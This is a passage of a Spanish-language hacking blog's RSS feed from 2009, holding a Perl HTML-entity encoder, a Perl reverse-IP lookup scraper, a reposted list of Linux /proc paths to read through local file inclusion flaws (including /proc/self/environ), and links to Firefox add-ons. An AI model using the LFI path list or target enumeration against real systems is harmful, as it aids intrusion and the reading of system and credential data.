/&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;#Autor: Yoyahack&lt;br /&gt;#Webs:  www.yoyahack.blogspot.com - www.undersecurity.net&lt;br /&gt;#mail:  elmafioso.edwin@gmail.com&lt;br /&gt;#Encode strings with HTML entities&lt;br /&gt;&lt;br /&gt;#Module&lt;br /&gt;&lt;br /&gt;use HTML::Entities;&lt;br /&gt;&lt;br /&gt;#Code&lt;br /&gt;&lt;br /&gt;print "\nYoyahack - www.yoyahack.blogspot.com\nwww.undersecurity.net\n";&lt;br /&gt;print "\nUsage: perl name.pl &amp;lt;archive.txt&amp;gt;\n";&lt;br /&gt;print "Ex: perl script.pl archive.txt\n";&lt;br /&gt;&lt;br /&gt;open(AR,"$ARGV[0]") || die "\nNot found archive\n";&lt;br /&gt;@ar=&amp;lt;AR&amp;gt;;&lt;br /&gt;close (AR);&lt;br /&gt;&lt;br /&gt;foreach $encode(@ar)&lt;br /&gt;              {&lt;br /&gt;              chomp($encode);&lt;br /&gt;&lt;br /&gt;encode_entities( $encode );&lt;br /&gt;&lt;br /&gt;open (SAVE,"&amp;gt;&amp;gt;encode_text.txt");&lt;br /&gt;print SAVE "$encode\n";&lt;br /&gt;close (SAVE);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;             }&lt;br /&gt;&lt;br /&gt;print "\nSuccessfully saved text file!\n";&lt;br /&gt;exit(0);&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Reverse DNS en perl</title><link>http://yoyahack.blogspot.com/2009/09/reverse-dns-en-perl.html</link><category>Herramientas</category><category>Nivel web</category><category>perl</category><category>programacion</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Mon, 21 Sep 2009 12:24:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-8524079351397393233</guid><description>Bueno aquí un reverse dns  que acabo de codear.&lt;br /&gt;&lt;br /&gt;Modo de uso:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;perl name.pl www.pagina.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Guardas las webs en un archivo de texto.&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;#Autor: Yoyahack&lt;br /&gt;#Webs: www.yoyahack.blogspot.com  -  www.undersecurity.net&lt;br /&gt;#Reverse dns&lt;br /&gt;&lt;br /&gt;#Modulos&lt;br /&gt;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;use HTTP::Request;&lt;br /&gt;&lt;br /&gt;#Body&lt;br /&gt;&lt;br /&gt;print q(&lt;br /&gt;Reverse Dns by yoyahack&lt;br /&gt;www.yoyahack.blogspot.com - www.undersecurity.net&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;print "Usage: perl script.pl &amp;lt;web&amp;gt;\n";&lt;br /&gt;print "Ex: perl reversedns.pl www.pagina.com\n";&lt;br /&gt;my $ua = new LWP::UserAgent;&lt;br /&gt;$ua-&amp;gt;agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");&lt;br /&gt;&lt;br /&gt;my $busqueda = new HTTP::Request GET =&amp;gt;"http://www.ip-adress.com/reverse_ip/$ARGV[0]";&lt;br /&gt;my $resultado = $ua-&amp;gt;request($busqueda);&lt;br /&gt;$ua-&amp;gt;timeout(7) || die "Conecction faield";&lt;br /&gt;my $result = $resultado-&amp;gt;content();&lt;br /&gt;&lt;br /&gt;while ($result =~ m!&amp;lt;a href="/whois/(.+)"&amp;gt;Whois&amp;lt;/a&amp;gt;!ig){&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   open (DNS,"&amp;gt;&amp;gt;reverse_dns.txt");&lt;br /&gt;   print DNS "$1\n";&lt;br /&gt;   close (DNS);&lt;br /&gt;   print "$1\n";&lt;br /&gt;  &lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Paths LFI más allá de /etc/passwd by Refused</title><link>http://yoyahack.blogspot.com/2009/09/paths-lfi-mas-alla-de-etcpasswd-by.html</link><category>Nivel web</category><category>vurnerabilidad</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Fri, 11 Sep 2009 15:13:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-8985841342575228499</guid><description>Bueno este post lo vi en infiernohacker, me pareció muy interesante.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;En el directorio /proc/ podemos ver información sobre el kernel, el sistema, hardware,etc.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Paths:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/version&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/interrupts&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/meminfo&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/mounts&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/modules&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/partitions&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/filesystems&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/kallsyms&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/cpuinfo&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/cmdline&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/self&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;El diretorio /proc/self es un enlace al proceso en ejecución.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Paths:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/self/environ&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;El directorio /proc/sys proporciona informacion pero tambien (siendo administrador) se pueden activar o desactivar caracteristicas del kernel.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Paths:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/fs&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/dev/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/kernel/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/kernel/acct&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/kernel/cap-bound&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/kernel/domainname&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/kernel/exec-shield&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/kernel/exec-shield-randomize&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/kernel/hostname&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/kernel/hotplug&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/kernel/modprobe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/kernel/version&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/kernel/sysrq&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/net/core/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/net/ipv4/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sys/vm/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/sysvipc&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;El directorio /proc/net muestra información sobre la configuracion de red del sistema.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Paths:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/arp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/atm&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/dev&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/dev_mcast&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/igmp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/ip_conntrack&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/ip_tables_names&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/ip_mr_cache&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/ip_mr_vif&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/netstat&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/psched&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/raw&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/route&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/rt_cache&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/snmp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/sockstat&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/tcp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/tr_rif&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/udp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/unix&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/net/wireless&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/proc/driver/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;El directorio /proc/driver contiene información sobre los drivers que se estan utilizando.&lt;/span&gt;&lt;br /&gt;&lt;a href="http://foro.infiernohacker.com/index.php/topic,12471.0.html"&gt;&lt;br /&gt;Fuente&lt;/a&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Algunos addons para firefox</title><link>http://yoyahack.blogspot.com/2009/09/algunos-addons-para-firefox.html</link><category>Nivel web</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Fri, 11 Sep 2009 15:03:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-7147871187365019367</guid><description>Bueno aquí algunos addons, son muy bueno todos xD.&lt;br /&gt;&lt;br /&gt;&lt;h2 style="font-weight: normal; color: rgb(0, 0, 0);" class="addon"&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/downloads/latest/59/addon-59-latest.xpi?src=addondetail"&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;User Agent Switcher    0.7.2  &lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;a style="color: rgb(0, 0, 0);" href="https://addons.mozilla.org/en-US/firefox/downloads/latest/3829/addon-3829-latest.xpi?src=addondetail"&gt;&lt;/a&gt;&lt;h2 style="font-weight: normal; color: rgb(0, 0, 0);" class="addon"&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/downloads/latest/3829/addon-3829-latest.xpi?src=addondetail"&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;Live HTTP Headers    0.15  &lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h2 style="color: rgb(0, 0, 0);" dir="ltr" class="addon" lang="en-US"&gt;   &lt;span&gt;     &lt;a href="https://addons.mozilla.org/es-ES/firefox/downloads/latest/1843/addon-1843-latest.xpi?src=addondetail"&gt;&lt;span style="font-weight: normal;font-size:100%;" &gt;Firebug    1.4.2  &lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;&lt;br /&gt;Saludos.</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item></channel></rss>